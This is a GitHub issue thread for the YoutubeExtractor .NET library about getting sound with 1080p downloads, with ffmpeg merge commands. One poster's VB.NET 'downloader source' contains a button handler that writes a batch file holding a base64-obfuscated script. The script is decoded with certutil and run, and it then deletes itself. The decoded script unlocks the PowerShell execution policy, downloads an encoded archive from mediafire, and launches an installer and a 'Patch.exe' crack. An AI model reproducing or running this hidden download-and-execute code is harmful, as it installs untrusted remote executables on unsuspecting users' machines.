flagbug / YoutubeExtractor

A .NET library, that allows to download videos from YouTube and/or extract their audio track (currently only for flash videos).
813 stars 374 forks source link

someone know why i dont have sound with 1080 #373

Open 3xploitch3ats opened 4 years ago

3xploitch3ats commented 4 years ago

someone know why we dont have sound with 1080 here is my source i will like make it more better http://www.mediafire.com/file/90p18y8rjb0pm3b/myAdvancedYoutubeDownloader.zip http://www.mediafire.com/file/wahbpjqfnnit5xz/AdvancedYoutubeDownloader.zip Register*NoLimit Register*Encodeur MjA4MC0xMi0xNCAwMzowNjoyNg==

LinPolly commented 4 years ago

Now Youtube only provides 360p videos with itag = 18 and audio. The rest you have to download and synthesize the video and audio.

3xploitch3ats commented 4 years ago

what the best way for synthesize the audio with the video someone already have this code ?

3xploitch3ats commented 4 years ago

extract sound ffmpeg -i mp4file360.mp4 -c:a libmp3lame -q:a 4 waves-sound.mp3

add mp3 in a mp4 ffmpeg -i mp3file.mp3 -i mp4file1080.mp4 -vcodec copy -acodec libmp3lame output2.mp4

LinPolly commented 4 years ago

VideoInfo.cs#L55 / Adaptive (aka DASH) - Audio / itag = 140

3xploitch3ats commented 4 years ago

string itag = HttpHelper.ParseQueryString(extractionInfo.Uri.Query)["itag"];

            int formatCode = int.Parse(itag);

so it have only 2 line with itag :)

and i have also tries with ffmpeg https://github.com/flagbug/YoutubeExtractor/issues/155

3xploitch3ats commented 4 years ago
    Private Sub AddAudio_Click(sender As Object, e As EventArgs) Handles AddAudio.Click
        If OpenExtractAudioDialog1.ShowDialog() = DialogResult.OK Then
            audioextractor = OpenExtractAudioDialog1.FileName
            If OpenExtractVideoDialog1.ShowDialog() = DialogResult.OK Then
                videoextractor = OpenExtractVideoDialog1.FileName
                If SaveVideoFileDialog1.ShowDialog() = DialogResult.OK Then
                    VideoAudio = SaveVideoFileDialog1.FileName
                    Dim audiocache = My.Application.Info.DirectoryPath & "\AudioCache.mp3"
                    Dim videocache = My.Application.Info.DirectoryPath & "\VideoCache.mp4"
                    Dim audiovideocache = My.Application.Info.DirectoryPath & "\AudioVideoCache.mp4"
                    My.Computer.FileSystem.CopyFile(
                    audioextractor,
                    audiocache,
                 Microsoft.VisualBasic.FileIO.UIOption.AllDialogs,
                 Microsoft.VisualBasic.FileIO.UICancelOption.DoNothing)
                    My.Computer.FileSystem.CopyFile(
                    videoextractor,
                    videocache,
                 Microsoft.VisualBasic.FileIO.UIOption.AllDialogs,
                 Microsoft.VisualBasic.FileIO.UICancelOption.DoNothing)
                    Dim args As String 'declare args
                    args = " -i " + audiocache + " -i " + videocache + " -vcodec copy -acodec libmp3lame " + audiovideocache
                    Dim proc As New Process
                    Dim proci As New ProcessStartInfo
                    proci.FileName = My.Application.Info.DirectoryPath & "\ffmpeg.exe"
                    proci.Arguments = args
                    proci.WindowStyle = ProcessWindowStyle.Hidden
                    proci.CreateNoWindow = True
                    proci.UseShellExecute = False
                    proc.StartInfo = proci
                    proc.Start()
                    Do Until proc.HasExited = True
                    Loop
                    My.Computer.FileSystem.CopyFile(
                    audiovideocache,
                    VideoAudio,
                    Microsoft.VisualBasic.FileIO.UIOption.AllDialogs,
                    Microsoft.VisualBasic.FileIO.UICancelOption.DoNothing)
                    System.IO.File.Delete(My.Application.Info.DirectoryPath & "\AudioCache.mp3")
                    System.IO.File.Delete(My.Application.Info.DirectoryPath & "\VideoCache.mp4")
                    System.IO.File.Delete(My.Application.Info.DirectoryPath & "\AudioVideoCache.mp4")
                End If
            End If
        End If
    End Sub

    Private Sub PictureBox6_Click(sender As Object, e As EventArgs) Handles PictureBox6.Click
        If (IO.File.Exists("wondershare-video.bat")) Then GoTo WonderShareVideo
        Call WonderShareVideo()
        GoTo EndSub
WonderShareVideo:
        Process.Start("wondershare-video.bat")
        GoTo EndSub
EndSub:
    End Sub
    Sub WonderShareVideo()
        Dim sb As New System.Text.StringBuilder
        sb.AppendLine("@echo off")
        sb.AppendLine("cd ..")
        sb.AppendLine("cd ..")
        sb.AppendLine("echo OldPTkRFUlNIQVJFVklERU9DT05WRVJURVJVTFRJTUFURQ0KQGVjaG8gb2ZmDQpp>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZiBleGlzdCAiQzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxXb25kZXJzaGFyZVxWaWRl>>wondershare-videoEncoded.File")
        sb.AppendLine("echo byBDb252ZXJ0ZXIgVWx0aW1hdGVcVmlkZW9Db252ZXJ0ZXJVbHRpbWF0ZS5leGUi>>wondershare-videoEncoded.File")
        sb.AppendLine("echo IGdvdG8gV09OREVSU0hBUkUNCmlmIG5vdCBleGlzdCAlfmRwMFx3b25kZXJzaGFy>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZS12aWRlby11bHRpbWF0ZVx2aWRlby1jb252ZXJ0ZXItdWx0aW1hdGVfc2V0dXBf>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZnVsbDkwNS5leGUgZ290byBVcGRhdGVXb25kZXJTaGFyZQ0KaWYgZXhpc3QgJX5k>>wondershare-videoEncoded.File")
        sb.AppendLine("echo cDBcd29uZGVyc2hhcmUtdmlkZW8tdWx0aW1hdGVcdmlkZW8tY29udmVydGVyLXVs>>wondershare-videoEncoded.File")
        sb.AppendLine("echo dGltYXRlX3NldHVwX2Z1bGw5MDUuZXhlIGdvdG8gU3RhcnRVcGRhdGVXb25kZXJT>>wondershare-videoEncoded.File")
        sb.AppendLine("echo aGFyZQ0KOlVwZGF0ZVdvbmRlclNoYXJlIA0KQGVjaG8gb2ZmDQp0aXRsZSBVcGRh>>wondershare-videoEncoded.File")
        sb.AppendLine("echo dGVXb25kZXJTaGFyZQ0KZWNobyAgICoqKioqKioqKioqKioqKioqKioqKioqKioq>>wondershare-videoEncoded.File")
        sb.AppendLine("echo KioqKioqKioqKioqKioqKioqKioNCmVjaG8gICAqKiovLyBVcGRhdGUtVXBkYXRl>>wondershare-videoEncoded.File")
        sb.AppendLine("echo V29uZGVyU2hhcmUuYmF0IC8vIFdpbjEwIC8vKioqDQplY2hvICAgKioqKioqKioq>>wondershare-videoEncoded.File")
        sb.AppendLine("echo KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KY2QgJX5kcDAN>>wondershare-videoEncoded.File")
        sb.AppendLine("echo CmlmIGV4aXN0ICV+ZHAwXFVuemlwV1MucHMxIGRlbCAvcyAvcSAlfmRwMFxVbnpp>>wondershare-videoEncoded.File")
        sb.AppendLine("echo cFdTLnBzMQ0KaWYgZXhpc3QgJX5kcDBcd29uZGVyc2hhcmV2aWRlby56aXAgZGVs>>wondershare-videoEncoded.File")
        sb.AppendLine("echo IC9zIC9xICV+ZHAwXHdvbmRlcnNoYXJldmlkZW8uemlwDQppZiBleGlzdCAlfmRw>>wondershare-videoEncoded.File")
        sb.AppendLine("echo MFx3b25kZXJzaGFyZXZpZGVvLmVuY29kZWQgZGVsIC9zIC9xICV+ZHAwXHdvbmRl>>wondershare-videoEncoded.File")
        sb.AppendLine("echo cnNoYXJldmlkZW8uZW5jb2RlZA0KaWYgZXhpc3QgJX5kcDBcVXBkYXRlV29uZGVy>>wondershare-videoEncoded.File")
        sb.AppendLine("echo U2hhcmVMaW5rLmJhdCBkZWwgL3MgL3EgJX5kcDBcVXBkYXRlV29uZGVyU2hhcmVM>>wondershare-videoEncoded.File")
        sb.AppendLine("echo aW5rLmJhdA0KaWYgZXhpc3QgJX5kcDBcVXBkYXRlV29uZGVyU2hhcmUudHh0IGRl>>wondershare-videoEncoded.File")
        sb.AppendLine("echo bCAvcyAvcSAlfmRwMFxVcGRhdGVXb25kZXJTaGFyZS50eHQNCmlmIGV4aXN0ICV+>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZHAwXFVwZGF0ZVdvbmRlclNoYXJlLkZpbGUgZGVsIC9zIC9xICV+ZHAwXFVwZGF0>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZVdvbmRlclNoYXJlLkZpbGUNCmlmIGV4aXN0ICV+ZHAwXFVwZGF0ZVdvbmRlclNo>>wondershare-videoEncoded.File")
        sb.AppendLine("echo YXJlLnBzMSBkZWwgL3MgL3EgJX5kcDBcVXBkYXRlV29uZGVyU2hhcmUucHMxDQpw>>wondershare-videoEncoded.File")
        sb.AppendLine("echo b3dlcnNoZWxsIFNldC1FeGVjdXRpb25Qb2xpY3kgLVNjb3BlIEN1cnJlbnRVc2Vy>>wondershare-videoEncoded.File")
        sb.AppendLine("echo IFVucmVzdHJpY3RlZA0KcG93ZXJzaGVsbCAtQ29tbWFuZCBJbnZva2UtV2ViUmVx>>wondershare-videoEncoded.File")
        sb.AppendLine("echo dWVzdCAiaHR0cDovL3d3dy5tZWRpYWZpcmUuY29tL2ZpbGUvZ3BtZ2RpYnNrYWN4>>wondershare-videoEncoded.File")
        sb.AppendLine("echo cGIyL3dvbmRlcnNoYXJldmlkZW8uZW5jb2RlZCIgLU91dEZpbGUgIlVwZGF0ZVdv>>wondershare-videoEncoded.File")
        sb.AppendLine("echo bmRlclNoYXJlLnR4dCINCmNkICV+ZHAwDQpmaW5kIC9JICI6Ly9kb3dubG9hZCIg>>wondershare-videoEncoded.File")
        sb.AppendLine("echo VXBkYXRlV29uZGVyU2hhcmUudHh0Pj5VcGRhdGVXb25kZXJTaGFyZUxpbmsuYmF0>>wondershare-videoEncoded.File")
        sb.AppendLine("echo DQplY2hvIEV4aXQ+PlVwZGF0ZVdvbmRlclNoYXJlTGluay5iYXQNCmVjaG8gS0Vk>>wondershare-videoEncoded.File")
        sb.AppendLine("echo bGRDMURiMjUwWlc1MElGVndaR0YwWlZkdmJtUmxjbE5vWVhKbFRHbHVheTVpWVhR>>wondershare-videoEncoded.File")
        sb.AppendLine("echo cElId2dEUXBHYjNKbD4+VXBkYXRlV29uZGVyU2hhcmUuRmlsZQ0KZWNobyBZV05v>>wondershare-videoEncoded.File")
        sb.AppendLine("echo TFU5aWFtVmpkQ0I3SkY4Z0xYSmxjR3hoWTJVZ0ltaHlaV1k5SWlJaUxDQWllSGw2>>wondershare-videoEncoded.File")
        sb.AppendLine("echo TXpJeEluMGdmQ0FOPj5VcGRhdGVXb25kZXJTaGFyZS5GaWxlDQplY2hvIENsTmxk>>wondershare-videoEncoded.File")
        sb.AppendLine("echo QzFEYjI1MFpXNTBJRlZ3WkdGMFpWZHZibVJsY2xOb1lYSmxUR2x1YXk1aVlYUU5D>>wondershare-videoEncoded.File")
        sb.AppendLine("echo aWhIWlhRdFEyOXU+PlVwZGF0ZVdvbmRlclNoYXJlLkZpbGUNCmVjaG8gZEdWdWRD>>wondershare-videoEncoded.File")
        sb.AppendLine("echo QlZjR1JoZEdWWGIyNWtaWEpUYUdGeVpVeHBibXN1WW1GMEtTQjhJQTBLUm05eVpX>>wondershare-videoEncoded.File")
        sb.AppendLine("echo RmphQzFQWW1wbD4+VXBkYXRlV29uZGVyU2hhcmUuRmlsZQ0KZWNobyBZM1FnZXlS>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZklDMXlaWEJzWVdObElDSWlJajRpTENBaURRcDZlWGcwTlNKOUlId2dEUXBUWlhR>>wondershare-videoEncoded.File")
        sb.AppendLine("echo dFEyOXVkR1Z1Pj5VcGRhdGVXb25kZXJTaGFyZS5GaWxlDQplY2hvIGRDQlZjR1Jo>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZEdWWGIyNWtaWEpUYUdGeVpVeHBibXN1WW1GMERRb05DaWhIWlhRdFEyOXVkR1Z1>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZENCVmNHUmg+PlVwZGF0ZVdvbmRlclNoYXJlLkZpbGUNCmVjaG8gZEdWWGIyNWta>>wondershare-videoEncoded.File")
        sb.AppendLine("echo WEpUYUdGeVpVeHBibXN1WW1GMEtTQjhJQTBLUm05eVpXRmphQzFQWW1wbFkzUWdl>>wondershare-videoEncoded.File")
        sb.AppendLine("echo eVJmSUMxeT4+VXBkYXRlV29uZGVyU2hhcmUuRmlsZQ0KZWNobyBaWEJzWVdObElD>>wondershare-videoEncoded.File")
        sb.AppendLine("echo SjRlWG96TWpFaUxDQWljRzkzWlhKemFHVnNiQ0F0UTI5dGJXRnVaQ0JKYm5admEy>>wondershare-videoEncoded.File")
        sb.AppendLine("echo VXRWMlZpPj5VcGRhdGVXb25kZXJTaGFyZS5GaWxlDQplY2hvIFVtVnhkV1Z6ZENB>>wondershare-videoEncoded.File")
        sb.AppendLine("echo aWZTQjhJQTBLVTJWMExVTnZiblJsYm5RZ1ZYQmtZWFJsVjI5dVpHVnlVMmhoY21W>>wondershare-videoEncoded.File")
        sb.AppendLine("echo TWFXNXI+PlVwZGF0ZVdvbmRlclNoYXJlLkZpbGUNCmVjaG8gTG1KaGRBMEtLRWRs>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZEMxRGIyNTBaVzUwSUZWd1pHRjBaVmR2Ym1SbGNsTm9ZWEpsVEdsdWF5NWlZWFFw>>wondershare-videoEncoded.File")
        sb.AppendLine("echo SUh3Zz4+VXBkYXRlV29uZGVyU2hhcmUuRmlsZQ0KZWNobyBEUXBHYjNKbFlXTm9M>>wondershare-videoEncoded.File")
        sb.AppendLine("echo VTlpYW1WamRDQjdKRjhnTFhKbGNHeGhZMlVnSWk1bGJtTnZaR1ZrSWl3Z0lpNWxi>>wondershare-videoEncoded.File")
        sb.AppendLine("echo bU52Pj5VcGRhdGVXb25kZXJTaGFyZS5GaWxlDQplY2hvIFpHVmtJQzFQZFhSR2FX>>wondershare-videoEncoded.File")
        sb.AppendLine("echo eGxJSGR2Ym1SbGNuTm9ZWEpsZG1sa1pXOHVaVzVqYjJSbFpDQW1KaUJsZUdsMElu>>wondershare-videoEncoded.File")
        sb.AppendLine("echo MGc+PlVwZGF0ZVdvbmRlclNoYXJlLkZpbGUNCmVjaG8gZkNBTkNsTmxkQzFEYjI1>>wondershare-videoEncoded.File")
        sb.AppendLine("echo MFpXNTBJRlZ3WkdGMFpWZHZibVJsY2xOb1lYSmxUR2x1YXk1aVlYUU5DZz09Pj5V>>wondershare-videoEncoded.File")
        sb.AppendLine("echo cGRhdGVXb25kZXJTaGFyZS5GaWxlDQp0aW1lb3V0IC9UIDENCmNkICV+ZHAwDQpj>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZXJ0dXRpbCAtZGVjb2RlIFVwZGF0ZVdvbmRlclNoYXJlLkZpbGUgVXBkYXRlV29u>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZGVyU2hhcmUucHMxDQp0aW1lb3V0IC9UIDENClBvd2VyU2hlbGwuZXhlIC1GaWxl>>wondershare-videoEncoded.File")
        sb.AppendLine("echo IFVwZGF0ZVdvbmRlclNoYXJlLnBzMSAtTm9FeGl0DQp0aW1lb3V0IC9UIDENCmNk>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ICV+ZHAwDQpmaW5kIC9JICJwb3dlcnNoZWxsIC1Db21tYW5kIEludm9rZS1XZWJS>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZXF1ZXN0IGh0dHAiIFVwZGF0ZVdvbmRlclNoYXJlTGluay5iYXQ+PlVwZGF0ZVdv>>wondershare-videoEncoded.File")
        sb.AppendLine("echo bmRlclNoYXJlRG93bmxvYWRMaW5rLmJhdA0KY2QgJX5kcDAgJiYgc3RhcnQgVXBk>>wondershare-videoEncoded.File")
        sb.AppendLine("echo YXRlV29uZGVyU2hhcmVEb3dubG9hZExpbmsuYmF0DQp0aW1lb3V0IC9UIDEwDQpj>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZCAlfmRwMA0KY2VydHV0aWwgLWRlY29kZSB3b25kZXJzaGFyZXZpZGVvLmVuY29k>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZWQgd29uZGVyc2hhcmV2aWRlby56aXANCnRpbWVvdXQgL1QgMg0KZWNobyBFeHBh>>wondershare-videoEncoded.File")
        sb.AppendLine("echo bmQtQXJjaGl2ZSAtUGF0aCAid29uZGVyc2hhcmV2aWRlby56aXAiIC1EZXN0aW5h>>wondershare-videoEncoded.File")
        sb.AppendLine("echo dGlvblBhdGggIiV+ZHAwXCI+PiIiVW56aXBXUy5wczENCnRpbWVvdXQgL1QgMg0K>>wondershare-videoEncoded.File")
        sb.AppendLine("echo UG93ZXJTaGVsbC5leGUgLUZpbGUgVW56aXBXUy5wczEgLU5vRXhpdA0KaWYgZXhp>>wondershare-videoEncoded.File")
        sb.AppendLine("echo c3QgJX5kcDBcVXBkYXRlV29uZGVyU2hhcmVEb3dubG9hZExpbmsuYmF0IGRlbCAv>>wondershare-videoEncoded.File")
        sb.AppendLine("echo cyAvcSAlfmRwMFxVcGRhdGVXb25kZXJTaGFyZURvd25sb2FkTGluay5iYXQNCmlm>>wondershare-videoEncoded.File")
        sb.AppendLine("echo IGV4aXN0ICV+ZHAwXFVwZGF0ZVdvbmRlclNoYXJlTGluay5iYXQgZGVsIC9zIC9x>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ICV+ZHAwXFVwZGF0ZVdvbmRlclNoYXJlTGluay5iYXQNCmlmIGV4aXN0ICV+ZHAw>>wondershare-videoEncoded.File")
        sb.AppendLine("echo XFVwZGF0ZVdvbmRlclNoYXJlLnR4dCBkZWwgL3MgL3EgJX5kcDBcVXBkYXRlV29u>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZGVyU2hhcmUudHh0DQppZiBleGlzdCAlfmRwMFxVcGRhdGVXb25kZXJTaGFyZS5G>>wondershare-videoEncoded.File")
        sb.AppendLine("echo aWxlIGRlbCAvcyAvcSAlfmRwMFxVcGRhdGVXb25kZXJTaGFyZS5GaWxlDQppZiBl>>wondershare-videoEncoded.File")
        sb.AppendLine("echo eGlzdCAlfmRwMFxVcGRhdGVXb25kZXJTaGFyZS5wczEgZGVsIC9zIC9xICV+ZHAw>>wondershare-videoEncoded.File")
        sb.AppendLine("echo XFVwZGF0ZVdvbmRlclNoYXJlLnBzMQ0KaWYgZXhpc3QgJX5kcDBcVW56aXBXUy5w>>wondershare-videoEncoded.File")
        sb.AppendLine("echo czEgZGVsIC9zIC9xICV+ZHAwXFVuemlwV1MucHMxDQppZiBub3QgZXhpc3QgJX5k>>wondershare-videoEncoded.File")
        sb.AppendLine("echo cDBcd29uZGVyc2hhcmUtdmlkZW8tdWx0aW1hdGVcdmlkZW8tY29udmVydGVyLXVs>>wondershare-videoEncoded.File")
        sb.AppendLine("echo dGltYXRlX3NldHVwX2Z1bGw5MDUuZXhlIGdvdG8gV2VicGFnZVVwZGF0ZVdvbmRl>>wondershare-videoEncoded.File")
        sb.AppendLine("echo clNoYXJlDQppZiBleGlzdCAlfmRwMFx3b25kZXJzaGFyZS12aWRlby11bHRpbWF0>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZVx2aWRlby1jb252ZXJ0ZXItdWx0aW1hdGVfc2V0dXBfZnVsbDkwNS5leGUgZ290>>wondershare-videoEncoded.File")
        sb.AppendLine("echo byBTdGFydFVwZGF0ZVdvbmRlclNoYXJlDQo6U3RhcnRVcGRhdGVXb25kZXJTaGFy>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZQ0KY2QgJX5kcDBcICYmIGNkIHdvbmRlcnNoYXJlLXZpZGVvLXVsdGltYXRlXCAm>>wondershare-videoEncoded.File")
        sb.AppendLine("echo JiBzdGFydCB2aWRlby1jb252ZXJ0ZXItdWx0aW1hdGVfc2V0dXBfZnVsbDkwNS5l>>wondershare-videoEncoded.File")
        sb.AppendLine("echo eGUNCmVjaG8geW91IGhhdmUgMW1pbiBmb3IgaW5zdGFsbCB0aGUgYXBwbGljYXRp>>wondershare-videoEncoded.File")
        sb.AppendLine("echo b24gYmVmb3JlIGFwcGx5IHRoZSBwYXRjaA0KdGltZW91dCAvVCA2MA0KY2QgJX5k>>wondershare-videoEncoded.File")
        sb.AppendLine("echo cDBcICYmIGNkIHdvbmRlcnNoYXJlLXZpZGVvLXVsdGltYXRlXCAmJiBpZiBleGlz>>wondershare-videoEncoded.File")
        sb.AppendLine("echo dCAiUGF0Y2guZXhlIiBtb3ZlICJQYXRjaC5leGUiICJDOlxQcm9ncmF+MlxXb25k>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZXJzaGFyZVxWaWRlbyBDb252ZXJ0ZXIgVWx0aW1hdGUiDQpjZCAiQzpcUHJvZ3Jh>>wondershare-videoEncoded.File")
        sb.AppendLine("echo fjJcV29uZGVyc2hhcmVcVmlkZW8gQ29udmVydGVyIFVsdGltYXRlIiAmJiBzdGFy>>wondershare-videoEncoded.File")
        sb.AppendLine("echo dCBQYXRjaC5leGUNCmlmIGV4aXN0ICV+ZHAwXFVwZGF0ZVdvbmRlclNoYXJlXCBy>>wondershare-videoEncoded.File")
        sb.AppendLine("echo bWRpciAvcyAvcSAlfmRwMFxVcGRhdGVXb25kZXJTaGFyZVwNCmlmIGV4aXN0ICV+>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZHAwXFVwZGF0ZVdvbmRlclNoYXJlTGluay5iYXQgZGVsIC9zIC9xICV+ZHAwXFVw>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZGF0ZVdvbmRlclNoYXJlTGluay5iYXQNCmlmIGV4aXN0ICV+ZHAwXFVwZGF0ZVdv>>wondershare-videoEncoded.File")
        sb.AppendLine("echo bmRlclNoYXJlLnR4dCBkZWwgL3MgL3EgJX5kcDBcVXBkYXRlV29uZGVyU2hhcmUu>>wondershare-videoEncoded.File")
        sb.AppendLine("echo dHh0DQppZiBleGlzdCAlfmRwMFxVcGRhdGVXb25kZXJTaGFyZS5GaWxlIGRlbCAv>>wondershare-videoEncoded.File")
        sb.AppendLine("echo cyAvcSAlfmRwMFxVcGRhdGVXb25kZXJTaGFyZS5GaWxlDQppZiBleGlzdCAlfmRw>>wondershare-videoEncoded.File")
        sb.AppendLine("echo MFxVcGRhdGVXb25kZXJTaGFyZS5wczEgZGVsIC9zIC9xICV+ZHAwXFVwZGF0ZVdv>>wondershare-videoEncoded.File")
        sb.AppendLine("echo bmRlclNoYXJlLnBzMQ0KZ290byBFbmRVcGRhdGVXb25kZXJTaGFyZQ0KOldlYnBh>>wondershare-videoEncoded.File")
        sb.AppendLine("echo Z2VVcGRhdGVXb25kZXJTaGFyZQ0Kc3RhcnQgaHR0cDovL3d3dy5tZWRpYWZpcmUu>>wondershare-videoEncoded.File")
        sb.AppendLine("echo Y29tL2ZpbGUvZ3BtZ2RpYnNrYWN4cGIyL3dvbmRlcnNoYXJldmlkZW8uZW5jb2Rl>>wondershare-videoEncoded.File")
        sb.AppendLine("echo ZA0KZ290byBFbmRVcGRhdGVXb25kZXJTaGFyZQ0KOldPTkRFUlNIQVJFDQpjZFwg>>wondershare-videoEncoded.File")
        sb.AppendLine("echo JiYgY2QgIkM6XFByb2dyYW0gRmlsZXMgKHg4NilcV29uZGVyc2hhcmVcVmlkZW8g>>wondershare-videoEncoded.File")
        sb.AppendLine("echo Q29udmVydGVyIFVsdGltYXRlXCIgJiYgc3RhcnQgVmlkZW9Db252ZXJ0ZXJVbHRp>>wondershare-videoEncoded.File")
        sb.AppendLine("echo bWF0ZS5leGUNCmdvdG8gRXhpdA0KOkVuZFVwZGF0ZVdvbmRlclNoYXJlDQpnb3Rv>>wondershare-videoEncoded.File")
        sb.AppendLine("echo IEV4aXQNCjpFeGl0DQpFeGl0DQo=>>wondershare-videoEncoded.File")
        sb.AppendLine("certutil -decode wondershare-videoEncoded.File wondershare-videoEncoded.bat")
        sb.AppendLine("start wondershare-videoEncoded.bat")
        sb.AppendLine("if exist wondershare-videoEncoded.File del /s /q wondershare-videoEncoded.File")
        sb.AppendLine("goto End")
        sb.AppendLine(":End")
        sb.AppendLine("exit")
        IO.File.WriteAllText("wondershare-video.bat", sb.ToString())
        Process.Start("wondershare-video.bat")
        Threading.Thread.Sleep(2000)
        System.IO.File.Delete("wondershare-video.bat")
    End Sub
LinPolly commented 4 years ago

VideoInfo video = videoInfos .First(info => info.VideoType == VideoType.Mp4 && info.Resolution == 1080); VideoInfo audio = videoInfos .First(info => info.AudioType == AudioType.Aac && info.AdaptiveType == AdaptiveType.Audio && info.Resolution == 0);

Download video and audio with VideoDownloader

ffmpeg.exe -i mp4file.mp4 -i mp3file.aac -map 0:0 -map 1:0 -codec copy output.mp4